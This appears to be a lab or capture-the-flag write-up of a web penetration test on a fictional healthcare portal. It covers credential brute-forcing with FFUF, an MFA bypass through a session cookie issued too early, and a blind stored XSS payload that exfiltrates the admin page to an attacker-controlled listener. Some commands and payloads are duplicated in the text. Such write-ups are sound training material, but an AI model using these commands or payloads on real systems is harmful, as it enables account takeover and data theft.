October 24, 2026
Health Smarter
Objective

By Cardosoleo
3 min read
Objective
Health Smarter is releasing a new portal for patients and employees to manage appointments and healthcare data. You have been hired to perform a full web application penetration test against this portal. Identify all vulnerabilities and demonstrate impact by gaining access to the admin portal (if possible). Initial Access
After searching for breached credentials on DeHashed, you have identified a list of potential usernames and passwords (these are on the lab page)
1. Initial Access & Brute Force
We started with reconnaissance on http://10.1.76.88/login.html. The lab scope provided lists of breached credentials (usernames and passwords).
To speed up the process, I used FFUF in clusterbomb mode to test all possible combinations against the login API:
ffuf -w /home/kali/Downloads/usernames.txt:USER -w /home/kali/Downloads/passwords.txt:PASS -X POST -u http://10.1.76.88/api/login -H "Content-Type: application/json" -d '{"username":"USER","password":"PASS"}' -mode clusterbomb -mr '"success":\s*true' -p 0.05 -t 64ffuf -w /home/kali/Downloads/usernames.txt:USER -w /home/kali/Downloads/passwords.txt:PASS -X POST -u http://10.1.76.88/api/login -H "Content-Type: application/json" -d '{"username":"USER","password":"PASS"}' -mode clusterbomb -mr '"success":\s*true' -p 0.05 -t 64FFUF returned a successful hit for the user Marcus Thompson (Patient role). However, upon trying to access the dashboard, we were presented with an MFA (Multi-Factor Authentication) prompt.
2. The MFA Bypass
The MFA seemed like a hard stop, but by analyzing the frontend JavaScript, I found an exposed API endpoint: /api/session-info.
The developers made a critical mistake: they created the session (connect.sid cookie) as soon as the correct password was entered, but failed to validate if the MFA step was completed on subsequent API calls.
By sending a GET request to this API using only the session cookie, I received the following response:
{"username":"m.thompson@healthsmarter.hsm","name":"Marcus Thompson","role":"Patient","mfaVerified":false}{"username":"m.thompson@healthsmarter.hsm","name":"Marcus Thompson","role":"Patient","mfaVerified":false}Bingo! The "mfaVerified": false parameter confirmed the flaw: the server was allowing access to user data while completely ignoring the MFA requirement.
With the session cookie in hand, I could now access the /dashboard.html page. There, I found Flag 1 (MFA is hard):
3. Discovering Hidden Pages
Now logged in as Marcus, the goal was to escalate privileges and find the admin panel. I used FFUF again, this time for directory fuzzing, injecting the session cookie into the header:
┌──(kali㉿kali)-[~/Downloads]
└─$ ffuf -w /usr/share/wordlists/dirb/common.txt -u http://10.1.76.88/FUZZ.html -mc 200,403 -H "Cookie: connect.sid=s%3A5TQKcujw0roCNjs6rMBbasUgqkg8Yxlt.PfS%2Fhtn65fn3rc2JBgCQDBuXBGOPzpeDbQ7TYnB%2Bzwk
"
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://10.1.76.88/FUZZ.html
:: Wordlist : FUZZ: /usr/share/wordlists/dirb/common.txt
:: Header : Cookie: connect.sid=s%3A5TQKcujw0roCNjs6rMBbasUgqkg8Yxlt.PfS%2Fhtn65fn3rc2JBgCQDBuXBGOPzpeDbQ7TYnB%2Bzwk
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,403
________________________________________________
admin [Status: 403, Size: 23, Words: 3, Lines: 1, Duration: 135ms]
ADMIN [Status: 403, Size: 23, Words: 3, Lines: 1, Duration: 135ms]
Admin [Status: 403, Size: 23, Words: 3, Lines: 1, Duration: 138ms]
dashboard [Status: 200, Size: 6848, Words: 2252, Lines: 156, Duration: 136ms]
login [Status: 200, Size: 3663, Words: 1088, Lines: 92, Duration: 143ms]
:: Progress: [4614/4614] :: Job [1/1] :: 281 req/sec :: Duration: [0:00:17] :: Errors: 0 ::┌──(kali㉿kali)-[~/Downloads]
└─$ ffuf -w /usr/share/wordlists/dirb/common.txt -u http://10.1.76.88/FUZZ.html -mc 200,403 -H "Cookie: connect.sid=s%3A5TQKcujw0roCNjs6rMBbasUgqkg8Yxlt.PfS%2Fhtn65fn3rc2JBgCQDBuXBGOPzpeDbQ7TYnB%2Bzwk
"
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://10.1.76.88/FUZZ.html
:: Wordlist : FUZZ: /usr/share/wordlists/dirb/common.txt
:: Header : Cookie: connect.sid=s%3A5TQKcujw0roCNjs6rMBbasUgqkg8Yxlt.PfS%2Fhtn65fn3rc2JBgCQDBuXBGOPzpeDbQ7TYnB%2Bzwk
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,403
________________________________________________
admin [Status: 403, Size: 23, Words: 3, Lines: 1, Duration: 135ms]
ADMIN [Status: 403, Size: 23, Words: 3, Lines: 1, Duration: 135ms]
Admin [Status: 403, Size: 23, Words: 3, Lines: 1, Duration: 138ms]
dashboard [Status: 200, Size: 6848, Words: 2252, Lines: 156, Duration: 136ms]
login [Status: 200, Size: 3663, Words: 1088, Lines: 92, Duration: 143ms]
:: Progress: [4614/4614] :: Job [1/1] :: 281 req/sec :: Duration: [0:00:17] :: Errors: 0 ::
4. Blind Stored XSS & Admin Exfiltration
Back on the dashboard, I noticed a "Helpdesk Support" form. It sent messages via POST /api/tickets, which were then stored in the database.
The JavaScript code for the admin page (which I later discovered by reading the exfiltrated HTML) rendered the ticket message using innerHTML without any sanitization.
To capture Flag 2, I set up a Blind Stored XSS attack. I configured a listener on my machine:
python3 -m http.server 9000python3 -m http.server 9000Then, I submitted the following payload in the ticket's message field:
<img src=x onerror="fetch('/admin.html').then(r=>r.text()).then(d=>fetch('http://10.200.110.247:9000/?d='+encodeURIComponent(d)))"><img src=x onerror="fetch('/admin.html').then(r=>r.text()).then(d=>fetch('http://10.200.110.247:9000/?d='+encodeURIComponent(d)))">How the payload worked:
- When the lab bot (simulating an admin) opened the support tickets, the
<img>tag failed to load (src=x). - The
onerrorevent triggered. - The script used the
fetchAPI to read the/admin.htmlpage (bypassing CORS since it was the same origin). - The admin page's HTML was encoded and sent via a GET parameter to my Python server.
Final Flag
The request hit my Python server, and after URL-decoding the captured data, I found the source code of the administrative panel.